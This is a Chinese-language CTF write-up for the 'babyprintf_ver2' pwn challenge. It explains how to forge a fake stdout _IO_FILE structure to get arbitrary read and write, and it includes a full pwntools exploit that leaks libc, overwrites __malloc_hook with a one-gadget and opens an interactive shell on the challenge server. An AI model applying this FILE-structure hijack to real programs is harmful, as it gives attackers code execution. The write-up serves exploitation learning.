0x01程序分析
程序给出了data段的地址,然后允许向这个地址处输入0x1ff个字节。
pwndbg> print $rbx + $rax
$1 = 0x555555756011
pwndbg> x /50xg 0x555555756011
0x555555756011: 0x7200676664647364 0x200000000000646c
0x555555756021 : 0x0000007ffff7dd26 0x0000000000000000
0x555555756031: 0x0000000000000000 0x0000000000000000
pwndbg> x /10s 0x555555756011
0x555555756011: "dsddfg"
0x555555756018: "rld"
0x55555575601c: ""
0x55555575601d: ""
0x55555575601e: ""
0x55555575601f: ""
0x555555756020 : " &\335\367\377\177"
0x555555756027 : ""
输入数据下面存放的是stdout的地址,
可以伪造vtable劫持程序执行流。
printf有个格式化漏洞,但是这玩意好像不能用,只能用来得到程序运行时候的地址
0x02leak
没有system函数,首先需要leak。
通过覆盖stdout来伪造_IO_FILE_plus结构。
def leak(where):
p = 'A' * 16
p += p64(buf + 32)
p += p64(0)
p += pack_file(_flags = 0xfbad2887,
_IO_read_end = where,
_IO_write_base = where,
_IO_write_ptr = where + 8,
_fileno = 1,
_lock = buf + 0x100)
s.sendline(p)
s.recvline()
return u64(s.recv(8))
需要修改当前读的指针,输出开始的地址,当前输出的地址(这个也是不可少的),fileno=1表示输出流,lock不清楚ennnnnn
下面是file结构
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;//这个就是linux内核中文件描述符fd
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;//IO函数跳转表
};
总之上面那一套可以用来作为file结构伪造任意读的套路
需要一个缓冲区的输出,需要对stdout可写。
0x03写入
def write(what, where):
while what:
p = 'A' * 16
p += p64(buf + 32)
p += p64(0)
p += pack_file(_flags = 0xfbad2887,
_IO_read_end = buf,
_IO_buf_base = where,
_fileno = 1,
_lock = buf + 0x100)
s.sendline(p)
s.sendline(chr(what & 0xff))
where += 1
s.recv()
what >>= 8
_IO_read_end
表示获取输入的结束地址
_IO_buf_base
表示备用地址的开始
下面仅仅是我的猜测ennnnnn(以后学会了再填上这个坑吧):检测到程序获取输入结束的地址是输入地址,缓冲区内存不足,重新获取输入存放到备用的空间中造成任意写。(好牵强)
不过这个套路很实用,每次写一个字节也很稳定。
用这个需要一个printf好多输入,对stdout可以伪造。
自己没本事写出来贴上别人的脚本吧
先leak,向_hook_malloc地址处写入onegadget,让程序崩溃调用malloc
from pwn import *
context.log_level="debug"
local = True
# Credits: https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, "\x00")
struct += p64(_lock)
struct = struct.ljust(0xd8, "\x00")
return struct
def write(what, where):
while what:
p = 'A' * 16
p += p64(buf + 32)
p += p64(0)
p += pack_file(_flags = 0xfbad2887,
_IO_read_end = buf,
_IO_buf_base = where,
_fileno = 1,
_lock = buf + 0x100)
s.sendline(p)
s.sendline(chr(what & 0xff))
where += 1
s.recv()
raw_input()
what >>= 8
def leak(where):
p = 'A' * 16
p += p64(buf + 32)
p += p64(0)
p += pack_file(_flags = 0xfbad2887,
_IO_read_end = where,
_IO_write_base = where,
_IO_write_ptr = where + 8,
_fileno = 1,
_lock = buf + 0x100)
s.sendline(p)
s.recvline()
return u64(s.recv(8))
if local:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ONE_SHOT = 0x4526A
s = process('./babyprintf_ver2')
else:
libc = ELF('./libc64.so')
ONE_SHOT = 0x4F322
s = remote('150.109.44.250', 20005)
s.sendline('IDEp7goBeitrNz1gO8MgiKWiOSgiiC4W')
s.recvuntil('0x')
buf = int(s.recv(12), 16)
print 'buf @ ' + hex(buf)
s.recvuntil('Have fun!\n')
libc_base = leak(buf + 0xf8) - libc.symbols['_IO_file_jumps']
gdb.attach(s)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_shot = libc_base + ONE_SHOT
print 'libc @ ' + hex(libc_base)
write(one_shot, malloc_hook)
s.sendline('%66000c')
s.recvuntil('\x7f')
s.interactive()